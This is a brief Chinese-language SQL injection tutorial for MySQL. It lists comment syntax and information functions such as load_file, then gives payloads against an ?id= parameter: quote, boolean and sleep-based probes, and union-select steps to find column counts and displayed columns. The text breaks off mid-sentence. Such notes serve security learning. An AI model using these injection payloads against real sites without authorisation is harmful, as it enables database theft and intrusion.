SQL注入篇_mysql
写在前面
MySQL中的注释
1.单行注释符:# --空格 --+
2.多行注释符:/**/
一些函数
database() #数据库名
version() #数据库版本信息
user() #数据库用户名
current_user() #当前用户名
session_user() #连接数据库的用户名
@@datadir #数据库的数据存储路径
load_file('文件') #MySQL读取本地文件的函数
注入之前
1.有无回显
?id=1
?id=2
#页面回显是否不同
2.判断类型
?id=1
?id=1'
?id=1"
#判断注入的类型,若是字符型注入还应考虑闭合的方式
3.有无布尔类型
?id=1 and 1=1
?id=1 and 1=2
?id=1 or 1=2
?id=-1 or 1=2
#观察回显是否不同
4.判断是否有延时
?id=1 and sleep(5)
#看响应时长
一、联合查询
利用union select
语句,同时执行两条select 语句,实现跨库跨表的查询。但是,前提是两条select语句查询出的结果具有相同的列数并且数据类型一致
1.判断列数
?id=1 order by 1 #页面异常
?id=1 order by 8 #页面正常
当前select语句,具有8列
?id=1 union select 1,2,3,4,5,6,7,8
2.判断显示位置
把前面的第一条selec语句置为假
?id=1 and 1=2 union select 1,2,3,4,5,6,7,8
3.修改数字
在页面回显数字后,在对应的数字上修改内容,把数字改为sql函数
。如ÿ